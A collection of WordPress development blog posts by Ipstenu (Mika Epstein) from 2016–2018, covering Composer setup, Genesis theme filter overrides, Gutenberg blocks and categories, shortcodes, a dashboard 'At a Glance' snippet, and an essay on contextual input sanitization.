It does all of that. It even lets me add in a sort-by so once a user has narrowed down the shows, they can reorder them based on name, date added, number of characters, and show ratings. If I wanted to extend that to order based on airdate, I could do that too. People can toggle criteria on and off and the content updates *dynamically*
If you have a large amount of data (like 750 TV shows or 2250 TV characters), and you want to organize them sanely, swiftly, and not crash your server, use FacetWP. It even works with WooCommerce and EDD, so if you want to be the next Amazon, you need this.
**Categories:** How It Is
**Tags:** facetwp, plugins, review
---
### [Small Steps with Composer](https://halfelf.org/2018/small-steps-with-composer/)
**Published:** August 14, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Getting started with Composer sure feels daunting. How about we start small and make something straightforward?
**Content:**
Like a great many people before me, I use composer to manage packages. In my case, I have a WordPress plugin that contains some fairly significant packages that other people have written. They’re libraries, and I have a bit of a love/hate relationship with them. Mostly, I hate keeping them up to date, which is where composer comes in for me.
## Composer?
Composer bills itself as a package manager for PHP. This means it will download all the code you need for your plugins, toss it in a folder (usually called `vendor`) and let you get busy with the coding and not worrying about if your PHP library is out of date.
It’s very similar to [bower, which I’ve been using for a while now](https://halfelf.org/2015/bower-master/), and [grunt, which I sometimes use with bower](https://halfelf.org/2015/updating-bower-grunt/). However unlike those, Composer hooks in to [Packagist](https://packagist.org), which allows you to include pretty much any library with a `composer.json` file to generate your builds. And this is where it gets hairy.
## Conceptualizing Composer
The basics are these: You need a `composer.json` file to tell Composer what to do, and in that file you need to tell Composer what to do. Yep, that’s it. The complications come in with understanding *exactly* what it is you’re trying to do. So let’s start small.
Today, you want to use Composer to update a library, say the AWS SDK for PHP, so you can include it in your plugin. That’s it. Like I said, small. We’re going to assume you’ve written everything else, and you went to the [AWS SDK library on Github](https://github.com/aws/aws-sdk-php) to get the files.
The *old* way would be to download the zip, unzip it, and include it in your PHP code. The new way is is to make a Composer file.
## Constructing Composer
Windows users, you need to download the setup file from [getComposer.org](https://getcomposer.org/download/). Mac/Linux users, I recommend you use the [global install method](https://getcomposer.org/doc/00-intro.md#globally), or if you’re lazy like me, `brew install composer` will get you done.
Now that you have it installed, you need to make your file. There are a [lot of options and possible calls](https://composer.json.jolicode.com) to put in the file. All you **need** is the ‘requires’ section, which literally is going to tell Composer what it requires. I recommend a basic file that lists what it’s for, who wrote it, and what it needs.
Example:
```
{
"name": "example/my-project-name",
"description": "This is a very cool package that uses AWS",
"version": "1.0.0",
"type": "wordpress plugin",
"keywords": ["wordpress", "plugin", "self-hosted"],
"homepage": "https://example.com",
"license": "MIT",
"authors": [
{
"name": "Test Example",
"email": "test@example.com"
},
],
"require": {
"aws/aws-sdk-php": "3.*"
}
}
```
The secret sauce is that teeny requires section at the end, where I say what I want to require and what version. That’s how `composer update` knows what I need.
You can also make the file without that requires section and then tell Composer to include it via command line: `composer require aws/aws-sdk-php` — That will write the line for you.
## Calling Composer
So once you have that and install it and run Composer, how do you get it in WordPress? By default, Composer makes an autoloader file called `autoload.php` – and that will require everything it is you need. That means all you have to do is require that file in your plugin, and you’re done.
What? You wanted more?
## Conclusion
Getting started with Composer isn’t harder than writing a readme, even if it’s formatted pretty weirdly. It can make including large libraries a snap. But don’t worry, you can get really complicated if you want to.
**Categories:** How To
**Tags:** composer, plugins, wordpress
---
### [More Complicated Composition](https://halfelf.org/2018/more-complicated-composition/)
**Published:** August 16, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A slightly more complicated setup for Composer? Why not!
**Content:**
Once you’ve made your basic `composer.json` file and you’ve got your library included, it’s time to consider a more complication situation.
Let’s take the following example. You want to include two plugins/add-ons, a javascript library, oh and one of those plugins doesn’t use Composer. Don’t worry, we can do this.
## Organize Your Notes
Step one is to make a list of what you need to install and where it needs to go. Because in this situation, due to the use of the javascript, we’re *not* going to be using that autoloader.
1. list all your repositories
2. mark which ones do and don’t use Composer
3. determine where they need to go
For this example, we want the javascript files to go in the `assets/js/` folder in our plugin, and we want the plugin/add-ons to go in `plugins/`
Okay, that’s straightforward. But we need to address something.
## Avoid AutoTune
I mentioned we’re not using the autoloader and I cited the javascript as why. That was a partial lie. You see, even though Composer makes an autoload file, and even though it is a dependancy manager, it actually tells you **not** to commit your dependancies to your own repository.
> The general recommendation is **no**. The vendor directory (or wherever your dependencies are installed) should be added to `.gitignore`/`svn:ignore`/etc.
>
> — [Official Composer Documentation](https://getcomposer.org/doc/faqs/should-i-commit-the-dependencies-in-my-vendor-directory.md)
The biggest reason why is one you absolutely will run into here, and it’s that when you add dependancies installed via git to another git repo, they end up as **submodules**, which are a special hell of their own. Only it’s worse. They’re not even really submodules, and you end up with empty folders.
Seriously, I wasted two hours on this when I first ran into it.
But that said, it’s really wise to omit your vendor folder because your plugin *does not* need 3 megs of files if all you want is one javascript file. Right? This means we need to add one more dependancy to Composer, and that’s [Composer Copy File](https://github.com/slowprog/CopyFile).
## Adding The Normal Dependancies
Right now, our requires section looks like this:
```
"require": {
"slowprog/composer-copy-file": "^0.2.1"
}
```
So when you add in your normal dependancies, like the PHP library, you get this:
```
"require": {
"slowprog/composer-copy-file": "^0.2.1",
"example/php-library1": "^1.3"
}
```
You’ll do this for the javascript libraries as well:
```
"require": {
"slowprog/composer-copy-file": "^0.2.1",
"example/php-library1": "^1.3",
"example/js-library1": "^0.2.1",
"example/js-library2": "^2.30"
}
```
## Adding the Weird Stuff
Okay but I mentioned one of the PHP libraries I wanted to use *didn’t* have a `composer.json` file, which means I can’t include it like that. Instead, I have to add this section above the requires section, in order to create a new package to add:
```
"repositories": [
{
"type": "package",
"package": {
"name": "example2/php-library",
"version": "1.0.0",
"source": {
"url": "https://github.com/example2/php-library",
"type": "git",
"reference": "master"
}
}
}
],
```
Right? That’s all kinds of weird, but basically I’m telling Composer that there’s a package called `example2/php-library` and it gets its data from `https://github.com/example2/php-library` – which means I can then add it to my requires like this:
```
"require": {
"slowprog/composer-copy-file": "^0.2.1",
"example/php-library1": "^1.3",
"example/js-library1": "^0.2.1",
"example/js-library2": "^2.30",
"example2/php-library2": "dev-master",
}
```
## Copy Everything
Once you have your files in and required, everything gets put in `vendor` which is great *except* for the part where we’re not going to use the autoloader. In fact, we’re going to add `/vendor/` to our `.gitignore` file to make *sure* we keep our plugin small.
No, we’re going to use that copy code we mentioned above like this:
```
"scripts": {
"post-install-cmd": [
"SlowProg\\CopyFile\\ScriptHandler::copy"
],
"post-update-cmd": [
"SlowProg\\CopyFile\\ScriptHandler::copy"
]
},
"extra" : {
"copy-file": {
"vendor/example/php-library1/": "plugins/php-library1/",
"vendor/example2/php-library2/": "plugins/php-library2/",
"vendor/example/js-library1/dist/js/file.min.js": "assets/js/file.min.js",
"vendor/example/js-library2/dist/js/file2.min.js": "assets/js/file2.min.js"
}
}
```
The first portion triggers a copy every time you install or update the Composer setup, and the section section (in extras) is what runs.
Now you include the libraries in your code like you’d downloaded and copied them, only you don’t have to worry so much about keeping them up to date. As long as you’ve got your composer versions, you’re good to go.
**Categories:** How To
**Tags:** composer, plugins, wordpress
---
### [Genesis: Overriding a Child Theme](https://halfelf.org/2017/genesis-overriding-child-theme/)
**Published:** December 12, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Changing the credits without editing a child theme is hard, but not impossible.
**Content:**
There are some odd tricks you end up learning when you use [StudioPress’s Genesis Frameworks](http://shareasale.com/r.cfm?b=346200&u=728549&m=28169&urllink=&afftrack=). Since no one actually uses the framework as the theme, we’re all downloading children themes and then editing them.
I have to be honest here, I *hate* editing child themes. That’s why I’ve begun making a [functional plugin to ‘grandchild’](https://halfelf.org/2017/grandchildren-themes/) the themes. There are some subtle differences, however, in how one approaches code for a grandchild vs a child ‘theme,’ and one of them is how the credits work.
## Normal Genesis Overrides Are Simple
At the footer of every page for a StudioPress theme is a credit line. It reads out the year and a link to your theme and Genesis, and done. If you don’t like it, [you can edit it](https://my.studiopress.com/documentation/snippets/footer/customize-the-credits-text/) like this:
If you’re not comfortable with code, I recommend you use the [Genesis Simple Edits](http://wordpress.org/extend/plugins/genesis-simple-edits/) plugin. But …
What happens when your child theme *already* filters the credits?
## Grandchild Genesis Overrides are Not
My child theme includes a filter already, called `CHILDTHEME_footer_creds_filter`, and it’s *not* filterable. That means I can’t just change the add filter line to this:
That’s okay, though, because I knew I could use could use `remove_filter()` to get rid of it like this:
Except that didn’t work. I kicked myself and remembered what the illustrious [Mike Little](https://mikelittle.org/replacing-a-filter-in-a-twenty-twelve-child-theme/) said about how one could replace filters in a theme (he was using Twenty Twelve):
> … your child theme’s functions.php runs before Twenty Twelve’s does. That means that when your call to `remove_filter()` runs, Twenty Twelve hasn’t yet called `add_filter()`. It won’t work because there’s nothing to remove!
Logically, I needed to make sure my filter removal runs *after* the filter is added in the first place. Right? Logical.
## The Credit Removal Solution
Here’s how you do it:
That first `add_action()` is called after the theme is set up. Then it removes the filter I don’t want and adds the one I do.
Done and done.
**Categories:** How To
**Tags:** genesis, studiopress, themes
---
### [Pagination and Static Front Pages](https://halfelf.org/2016/pagination-static-front-pages/)
**Published:** August 12, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Page numbers, pagination, and three lines of code.
**Content:**
This is a post skewed towards the [Genesis Framework](https://helf.us/genesis). Actually, if you’re not using the Genesis [Metro Pro theme](http://www.shareasale.com/r.cfm?b=453419&u=728549&m=28169&urllink=&afftrack=), I don’t know how well this will work.
My problem was simple. I used the [Metro Pro Static Front Page](https://my.studiopress.com/setup/metro-pro-theme/home-page-setup/home-page-layout/) to show some widgets and then custom displays of posts via those widgets. It works pretty darn well and looks like this:

There was just one small issue. It doesn’t show me pagination at the bottom of the page. Oh and the normal method of `example.com/page/2/` just showed me the same front page over and over. Not what I wanted.
One way I could work around this would be to treat the front page as a static front page and make a “blog” page. Except then my urls would be `example.com/blog/page/2` *and* I’d have duplicate content on `example.com/blog/` which is not desirable. Causing me more frustration was the fact that the documentation said this:
> If no widgets are placed in any of the home page specific widget areas, a blog-style home page will be displayed.
What I wanted was that blog-style page on the *sub* pages, along with navigation.
## Show Navigation Links
This part was easy. In the file `front-page.php` I edited the function `function metro_homepage_widgets()` to have this at the bottom:
`genesis_posts_nav();`
Really, that was it. Now I had navigation! But (as I already knew) the navigation didn’t work properly.
## Fix Paged Content
At the top of the `front-page.php` file is a call to add an action with all the `metro_home_genesis_meta` content. I wrapped that in a check to see if the page we’re on is a ‘paged’ page using [`is_paged()`](https://developer.wordpress.org/reference/functions/is_paged/), which specifically checks if the query is for paged result and **not** for the first page.
Again, really, that was it.
**Categories:** How To
**Tags:** genesis, themes, wordpress
---
### [A Fully Functional Alexa Skill](https://halfelf.org/2017/fully-functional-alexa-skill/)
**Published:** June 19, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A fully functional example of a WP JSON API powered Alexa app. Fork it.
**Content:**
I’ve been talking a lot (a *lot*) about my Amazon Alexa skill.
First of all, it’s done. It’s published and working. [You can check it out on Amazon.com.](https://www.amazon.com/dp/B071SKYP22/)
Secondly, a lot of people are like me and need a real, concrete, working example. So I’ve decided to post the entirety of my Amazon Alexa Skill.
This file, which is actually found on a site in `/lwtv-plugin/rest-api/alexa-skills.php` consists of two endpoints: the flash briefing and the skill. The skill is called “Bury Your Queers” and while I suspect that part of the code is the least ‘useful’ to people, it’s also good to see the real code.
Here, then, is the original approved and certified WordPress code for an Alexa Skill:
## The Code
## Some Explanations
The functions `bury_your_queers` and `bury_your_queers_rest_api_callback` are the important ones. The flash briefing is there because I was tired of Amazon being picky about embedded media in RSS feeds.
The way `bury_your_queers_rest_api_callback` works is it takes the request data to generate the type of request, the intent, and the date information. Then it passes the full request data to `alexa_validate_request` which is the part you’ll really want.
That function, `alexa_validate_request`, is what’s validating that the request came from Amazon, that it’s got a legit certificate from Amazon, and that the request was made in the last 60 seconds. While all those checks kick back an error, the development tools from Amazon *will not* show you them. Yet. I’m hoping they will in the future so we can more easily debug, but it was a lot of blind debugging. Not my favorite.
## Some Custom Code
In the `bury_your_queers` function, I make some calls to other code not included:
- `LWTV_BYQ_JSON::last_death()`
- `LWTV_BYQ_JSON::on_this_day( $this_day )`
Those both reference another rest API class in a different file. What’s important here is not what the data is, but that I’m calling those functions and getting an array back, and using that to fill in my reply. For example, here we have the call for ‘last death’:
From this you can infer that the array kicked back has key for name and died. And in fact, if you look at [the JSON output](https://lezwatchtv.com/wp-json/lwtv/v1/last-death/), you’ll see if has that and a bit more. I’m just extracting what is required. The same is true of the other function, `LWTV_BYQ_JSON::on_this_day`, to which I’m passing a parameter of a date.
**Categories:** How To
**Tags:** alexa, amazon, echo, json, php, wordpress
---
### [Shortcodes Aren't Leaving Us](https://halfelf.org/2018/shortcodes-arent-leaving-us/)
**Published:** September 18, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Don't panic about shortcodes going away. It's not all what you think.
**Content:**
In a recent post, someone asked:
> We have this scenario a lot:
>
> Lorem ipsum some text `[shortcode]affected text[/shortcode]` more text, all within one parapgraph.
>
> How can this be solved with Gutenberg?
Quick answer? It won’t.
Just like `[shortcode]` that outputs a single content, or `[shortcode text="affected text"]`, there will remain a need for singe, inline, in context, shortcode for a while.
I know it’s confusing. This is because there are different kinds of shortcodes for different purposes. Some, yes, will no longer be needed as much.
## Shortcodes for Inline Content
This is the easiest one to understand. Think about videos. Or my example of [inline editable blocks](https://halfelf.org/2018/shortcodes-vs-blocks/#inline-edits). Those are a very clear one to one. If you’re inserting a shortcode (or an embed) on it’s own line today, that will be ‘replaced’ in time with a block.
Embeds are already supported, by the way. If you create your own embeds, they too are automatically blocked.
## Shortcodes for Layout
This is harder to understand, since it’s not fully ready yet. But if you’ve used a plugin or a theme that told you to use a lot of shortcodes to make a two column layout, guess what you’re not going to be doing anymore in the future? That’s right, using shortcodes. Instead, we’re creating listicles, tables, how-to directions and more.
Example of [Yoast SEO’s How To Block](https://yoast.com/content-blocks-future-benefit-seo/) — coming soon. (Credit: [Yoast.com](https://yoast.com/content-blocks-future-benefit-seo/))Their looks a lot better than my basic blocks, but it shows you what we can do and how great we can do it. Those simple and complex layouts will become blocks, where we will be able to actually *see* what it’s supposed to look like. This includes the Gallery shortcode we all know and love.
## Shortcodes for Text Insertion
And finally we have the ‘classic’ block. This is the sort the poster was asking me about. Guess what? Nothing’s going to change with those any time soon. Oh, I’m sure eventually someone will take my inline-editable-block concept and make it so when we add the shortcode, it’ll adjust the text accordingly right before our eyes.
And really, if we look at the concept of `[shortcode]affected text[/shortcode]` we realize how much more we can do already with Gutenberg. What are we affecting the text with? We can already make it **bold**. But can we make it blue? Not *yet*. But I can see this coming soon.
But right now? Those inline shortcodes, in the middle of your block, are staying put.
**Categories:** How It Works
**Tags:** gutenberg, shortcodes, wordpress
---
### [Context is Everything](https://halfelf.org/2018/context-is-everything/)
**Published:** September 13, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It matters not just how we do a thing, but what we do it for and what
**Content:**
In the uptick of automated scans, we come to the place where we realize it’s not just the quality of content that matters in our success, but the context.
## Context in Content
When you write content, the body of your work depends on the literary context of the words. Writing about technology on a non-tech site requires you to step back and explain the tech in a little more detail than you normally might. For example, if I were to post about shortcodes here, I would not bother to give you the history of what they were or why they’re used. I would trust you to know those things, or be ready and able to research them.
By contrast, when writing about code used on a journalism site, and explaining we had a nifty new shortcode to do a thing, I absolutely would take time to explain. I would not expect my readers there, who care about the goings on of television, to understand about the weirdness of a shortcode. At the same time, I may not need to delve into details quite so much. I could just say “We have a new, faster way to add whatever, which will make it easier for us to report on X.”
In short, I consider the audience when I write the content. I write contextually.
## Context in Code
When it comes to writing code, there is a similar mindset. The code should make sense contextually and be consistent. If you’re using underscores for filenames, always use underscores, just to give one example. But this goes further than having a same prefix or formatting (tabs or spaces, eh?). It also means that when data is processed, it should be done so contextually.
If you have a form, and you allow people to enter data to send to you, and that data is saved to a database, you have to sanitize the data. That’s a no-brainer for every developer worth the time of day. Never save unsanitized data, and sanitize as early as possible to minimize the possible damage. But deciding how best to sanitize can be tricky. PHP comes with `stripslashes()` for example, however consider that PHP says this:
> An example use of **stripslashes()** is when the PHP directive magic\_quotes\_gpc is *on* (it was on by default before PHP 5.4), and you aren’t inserting this data into a place (such as a database) that requires escaping. For example, if you’re simply outputting data straight from an HTML form.
In other words, you *shouldn’t* use that to save data. Thankfully in [WordPress](https://developer.wordpress.org/plugins/security/securing-input/) (and [Drupal](https://api.drupal.org/api/drupal/core%21includes%21common.inc/group/sanitization/8.6.x) and everything else) there are many ways to sanitize your inputted data based on … you guessed it, *context*. You don’t sanitize a URL as a plain text field, and you don’t sanitize an HTML form as a filename.
When you write your code, sanitize, validate, and escape it *contextually* based on what it is.
## The Bottom Line: Context Matters
This is the thing that automated checkers can’t quite do. They don’t know what the input is supposed to be unless you tell them, so they can’t verify your sanitization as well as a human can. Even grammar checkers can’t tell you when it’s okay to use slang and when it’s not, when you’re trying to explain a new concept.
In the end? We need humans.
**Categories:** How It Is
**Tags:** development, essay, oped, writing
---
### [Show Feedback in "Right Now"](https://halfelf.org/2018/show-feedback-in-right-now/)
**Published:** September 11, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding Jetpack messages to At a Glance in WordPress isn't all that complicated, and it works out nicely.
**Content:**
The “Right Now” section of the WordPress dashboard is a great way to get an overview of the goings on of your site. But it doesn’t quite list everything. What if you could add things like ‘messages’ to the the “At a Glance” section like this:
Guess what? You can!
## The Code
Presmuing you’re using Jetpack’s contact form module, you automatically get a new kind of post called ‘Feedback.’ In order to make it display it’s count in “At a Glance,” there are two parts. First we add the CSS, which does the styling. Then we add the PHP that counts and displays the number of posts in feedback.
```
add_action( 'dashboard_glance_items', 'helf_dashboard_glance' );
add_action( 'admin_head', 'helf_dashboard_glance_css' );
/*
* Show Feedback in "Right Now"
*/
function helf_dashboard_glance() {
if ( class_exists( 'Jetpack' ) && Jetpack::is_module_active( 'contact-form' ) ) {
foreach ( array( 'feedback' ) as $post_type ) {
$num_posts = wp_count_posts( $post_type );
$count_posts = ( isset( $num_posts->publish ) ) ? $num_posts->publish : '0';
if ( 0 !== $count_posts ) {
if ( 'feedback' === $post_type ) {
// translators: %s is the number of messages
$text = _n( '%s Message', '%s Messages', $count_posts );
}
$text = sprintf( $text, number_format_i18n( $count_posts ) );
printf( '%2$s', esc_attr( $post_type ), wp_kses_post( $text ) );
}
}
}
}
/*
* Custom Icon for Feedback in "Right Now"
*/
function helf_dashboard_glance_css() {
if ( class_exists( 'Jetpack' ) && Jetpack::is_module_active( 'contact-form' ) ) {
?>
**Categories:** How To
**Tags:** jetpack, wordpress
---
### [Selective DeGutenberging](https://halfelf.org/2018/selective-degutenberging/)
**Published:** September 6, 2018
**Author:** Ipstenu (Mika Epstein)
**Content:**
Okay let’s be honest, friends. Not *everything* is ready for Gutenberg. In fact, I myself have certain sites that aren’t ready for it today. That’s why there exists an excellent plugin known as the [Classic Editor](https://wordpress.org/plugins/classic-editor/). This allows you to decide it you want to block Gutenberg (which is the default option) or if you want to allow users to chose between Gutenberg and Classic editors.
But what if you want to go a step *further*?
What if you want to have Gutenberg on by default for posts and pages, but *not* for a custom post type?
Don’t worry. We can do that.
## The Code
The basic idea is that if WP is 5.0 or higher, make sure that the Classic Editor is installed. If it’s less than 5.0, make sure Gutenberg is installed. Then block the code as needed:
```
class HELF_Gutenberg {
public $gutenfree = array();
public function __construct() {
$this->gutenfree = array( 'post_type_ONE', 'post_type_TWO', 'post_type_THREE' );
add_action( 'current_screen', array( $this, 'gutenberg_removal' ) );
}
public function gutenberg_removal() {
// WP 5.0+ requires Classic Editor
// WP 4.9- requires Gutenberg
if ( ( version_compare( get_bloginfo( 'version' ), 5.0, '' ) && ! is_plugin_active( 'classic-editor/classic-editor.php' ) ) ) {
return;
}
// Intercept Post Type
$current_screen = get_current_screen();
$current_post_type = $current_screen->post_type;
// If this is one of our custom post types, we don't gutenize
if ( in_array( $current_post_type, $this->gutenfree, true ) ) {
remove_filter( 'replace_editor', 'gutenberg_init' );
remove_action( 'load-post.php', 'gutenberg_intercept_edit_post' );
remove_action( 'load-post-new.php', 'gutenberg_intercept_post_new' );
remove_action( 'admin_init', 'gutenberg_add_edit_link_filters' );
remove_filter( 'admin_url', 'gutenberg_modify_add_new_button_url' );
remove_action( 'admin_print_scripts-edit.php', 'gutenberg_replace_default_add_new_button' );
remove_action( 'admin_enqueue_scripts', 'gutenberg_editor_scripts_and_styles' );
remove_filter( 'screen_options_show_screen', '__return_false' );
}
}
}
new HELF_Gutenberg();
```
**Categories:** How To
**Tags:** classic editor, gutenberg, wordpress
---
### [Shortcodes vs Blocks](https://halfelf.org/2018/shortcodes-vs-blocks/)
**Published:** September 4, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Thinking about blocks vs shortcodes and what's coming next.
**Content:**
One of the things that Gutenberg changes for everyone is the concept of shortcodes not being absolutely necessary anymore.
## Shortcodes Today
One of the nice things about WordPress is that we can use shortcodes to insert dynamic content into our posts. For example, I could use `[ copyright ]` and have it echo © 2026. And when you have inline dynamism, that works great.
One of the other cool things you can do is to have an embed like `[ embed height="400" width="600"]...[/embed ]` to embed a video:
Yes, you could just paste in the video URL, but this is a demonstration of a shortcode as a sort of block. And speaking of blocks…
## Blocks Tomorrow
In Gutenberg (which this post was written with), you can keep using in-line shortcodes and even add a shortcode as a block:
To a degree, that works well. But there are other options with Gutenberg.
### Sidebar Edits
First, you can see this in a normal paragraph block. Adding options to the sidebar:
This allows you to edit the various options on the right sidebar and, thus, change the customizable aspects of the block. For many shortcodes, you can keep that interface and have everything be perfectly functional. Have a block that shows user information? Put a dropdown for the users on the sidebar, and so on.
### Inline Edits
The other options is an integrated block. For example, here’s my example of a review block, with text fields and dropdowns to allow you to edit in situ.
In my opinion, this is a more fluid interface, as you can see example what you’re doing and what it’s going to look like.
## How Will You Use The Future?
There are still hurdles to overcome with Gutenberg, but as we step forward, we’re getting a better look at an integrated editor that gives you a lot of that desired ‘What you see is what you get’ experience.
**Categories:** How It Works
**Tags:** gutenberg, wordpress
---
### [Gutenberg Spoiler Blocks Redux](https://halfelf.org/2018/gutenberg-spoiler-blocks-redux/)
**Published:** August 30, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Another version of a repeatable spoiler block with Gutenberg.
**Content:**
While I did write up [Spoiler Blocks for Gutenberg one way](https://halfelf.org/2018/slightly-complex-sample-box-spoilers/), I also sat down recently and rewrote it a little cleaner. The primary difference here is how I’m *properly* using defaults:
## The Code
```
( function( blocks, element, editor, components ) {
const { registerBlockType } = blocks;
const { RichText } = editor;
const { createElement } = element;
const { InspectorControls } = editor;
const { SelectControl, ToggleControl } = components;
registerBlockType( 'library/spoilers', {
title: __( 'Spoiler Warning' ),
icon: 'vault',
category: 'halfelf',
customClassName: false,
className: false,
attributes: {
content: {
source: 'children',
selector: 'div',
default: 'Warning: This post contains spoilers!'
}
},
save: function( props ) {
const content = props.attributes.content;
const container = createElement(
'div', { className: 'alert alert-danger' },
React.createElement( RichText.Content, { value: content })
);
return container;
},
edit: function( props ) {
const content = props.attributes.content;
const focus = props.focus;
function onChangeSpoiler( newContent ) {
props.setAttributes( { content: newContent } );
}
const editSpoiler = createElement(
RichText,
{
tagName: 'div',
className: props.className,
onChange: onChangeSpoiler,
value: content,
focus: focus,
onFocus: props.setFocus,
}
);
return createElement(
'div', { className: 'alert alert-danger' },
editSpoiler
);
},
});
})(
window.wp.blocks,
window.wp.element,
window.wp.editor,
window.wp.components,
window.wp.i18n
);
```
Learning more and more about Gutenberg, and javascript, I’ve been able to iterate on the existing code and keep improving.
**Categories:** How To
**Tags:** gutenberg, javascript, wordpress
---
### [Gutenberg Categories](https://halfelf.org/2018/gutenberg-categories/)
**Published:** August 28, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Want to make your own category for Gutenberg Blocks? You can!
**Content:**
No, this isn’t something snazzy about doing cool things with categories within Gutenberg (although you could). This is about making a section for your own blocks. A category.
## What’s a Category?
I’m incredibly lazy, so when I use blocks, I type `/head` and make sure I get the right block, hit enter, and keep on typing.
But. Sometimes I think I need a specific block and I don’t know the name, so I click on the circle + sign and I get a list of categories!
You won’t see reusable if you didn’t make some, but the point is that you could make a custom category for your custom blocks.
## Show me the code!
Glad you asked! You’re gonna love this one.
```
add_filter( 'block_categories', function( $categories, $post ) {
return array_merge(
$categories,
array(
array(
'slug' => 'halfelf',
'title' => 'Half-Elf',
),
)
);
}, 10, 2 );
```
Yep. That’s it! It’s an array, so you can add more and more and more as you want. Don’t go too wild, though, or you’ll make it too long.
**Categories:** How To
**Tags:** coding, development, gutenberg, wordpress
---
### [Advanced Block Behaviour](https://halfelf.org/2018/advanced-block-behaviour/)
**Published:** August 23, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some more extra things with Gutenberg that are on the wild side of advanced.
**Content:**
Making a straight forward block to insert content in Gutenberg is (relatively) easy. I hate using the word ‘easy’ here, because in order to do it you will need to master a whole new world of coding, but all things considered, yes. It is easy. In fact, Gary (aka Pento) wrote a sample plugin that will let you [convert a shortcode to a Gutenberg Block](https://gist.github.com/pento/cf38fd73ce0f13fcf0f0ae7d6c4b685d).
I myself have written a mildly complicated Spoiler Block (there’s a new version of it I will share soon). But then the day happened that my cohort in lesbian TV crime, Tracy, expressed annoyance at how Gutenberg destroyed her listicle.
## What is a Listicle?
Have you seen those posts that show you the top ten ways to LifeHack your used egg cartons? Those are listicles. They’re lists (*list*) articles (*icle*). Makes sense, right? Listicles have a pretty basic format as well, there will be a header with some sort of numerical mark, then content with images etc. This repeats for the number of times you have an article.
Most people make them by hand by manually editing the numbers in their header. That’s all well and good until you want to craft better formatting and have a listicle look somehow ‘different’ from the rest of your content. Maybe you want them to have a special background color, or a different design for the header.
If we were doing this in the old, simple, HTML way, it would look like this:
```
The Title
The Content
```
Of course that doesn’t make anything look like a list until you put in some CSS magic:
```
.listicle {
counter-reset: listicle-counter;
}
.listicle dt:before {
content: counter(listicle-counter);
counter-increment: listicle-counter;
margin-right: 6px;
}
```
What this does is create a CSS counter and increment it every time you use `` creating an auto incrementing list.
## No HTML for Gutenberg
Now, if you know the HTML, you can still do this in Gutenberg in HTML by using the HTML block.
Example of summoning the Custom HTML block.But if you *don’t* know HTML, then this is a bloody nightmare to handle. And part of the reason why I’m very pro-Gutenberg is that it’s 2018, and expecting people to know all the myriad magical steps of HTML, in order to create a webpage, feels passé. No, it feels restrictive. We can’t expect websites to advance and become more than just pages if we don’t give them the tools.
## Complex Design
Unlike the relatively simple javascript I used to make my Spoiler Box block, to do this requires the use of a feature called ‘[Inner Blocks](https://github.com/WordPress/gutenberg/blob/master/packages/editor/src/components/inner-blocks/README.md)‘ which is effectively putting a block inside a block.
My original idea was to have a multiple nested block with the following:
1. Listicle Block that calls a template of a list item
2. ListItem block that calls a title and description
3. ListDT block that calls the title
4. ListDD block that allows you to add whatever more inner blocks you want
It sounds incredibly complicated, and sadly the perfect version was so difficult I actually started with a pared down version.
1. Listicle block that sets up a template of title and description
The problem here is that I end up having a separate `dl` for each block. I can work around it with some CSS magic, but it’s not perfect. So I knuckled down and actually wrote the code that does exactly what I want. Whew.
## Some Code
… Actually I’m going to do something I hate and that’s link to an external directory.
I’ve build out [Listicles for Gutenberg](https://github.com/Ipstenu/listicles-gutenberg) for you to peruse and fork and enjoy. Or even use if you want, becuase it does work. But it’s big. No, it’s *huge* for an in-post example. And to explain everything line by line wouldn’t help.
If you go to the repository, the Gutenberg source code is located in `/src/` – that’s where most (if not all) of your work will happen.
- `blocks.js` – A list of all the separate JS files included
- `/block/listicle.js` – The main listicle file
- `/block/listitem.js` – Individual list items (this is only usable inside the Listicles block)
- `/block/listdt.js` – The list title
- `/block/listdd.js` – The list content (this allows you to add as many sub blocks as you can)
And yes, not only does it auto increment as you move the slider (or bump the counter), you can flip it into reverse mode:
The real trick of it all was the copious use of templates.
## It’s all Complicated
Besides the fact that the blocks aren’t *quite* where I want them to be, I also have to use a block builder to convert that javascript into my real files. I chose the [Create Guten Block](https://github.com/ahmadawais/create-guten-block/) builder, instead of building out my own NPM build script.
That too illustrates some of the concerns people have, and rightly so, about blocks being incredibly more complicated than they need to be. And yet, having gone through the exercise myself, I think that it’s perhaps not going to be that much of a drama.
For those of use who generally just make new shortcodes, the world won’t change too much. Gutenberg [supports inline shortcodes](https://github.com/WordPress/gutenberg/pull/6329), after all, which is the majority of what people need from it. We want to be able to make our own embed blocks, which again isn’t terrible, and when someone gets to the complicated point of needing something advanced like a listicle, well eventually there will be a plugin that will handle this better than a shortcode.
Or you could just use that HTML block.
**Categories:** How To
**Tags:** gutenberg, javascript, wordpress
---
### [Post Editing Is Broken](https://halfelf.org/2018/post-editing-is-broken/)
**Published:** August 21, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Today, the editor is broken and we need a revolution to correct it.
**Content:**
By now I’m sure most of you have seen Gutenberg. And I’m sure you all have a lot of opinions about Gutenberg and why it’s absolutely not needed. You may also have read conversation about how we totally need Gutenberg, and it’s [part of the long view of the future](https://pento.net/2018/08/06/wordpress-gutenberg-the-long-view/).
I’m going to tell you something that may be difficult to accept.
We need Gutenberg because post editing is broken.
## The Visual Editor is Limited
The current visual editor, which uses TinyMCE, is incredibly limited. It’s awesome, as you can make a WYSIMWYG (What you see is *mostly* what you get) post, but it can be really hard to get layout and design flow to look ‘right.’ And if you want to insert custom content, you’re left using embeds or shortcodes.
I love shortcodes. But. They’re weird and complicated and no two work exactly the same way. People don’t always document them, they’re *not* discoverable, and they can be incredibly obscure to use. Which ones take input and which are nested and so on.
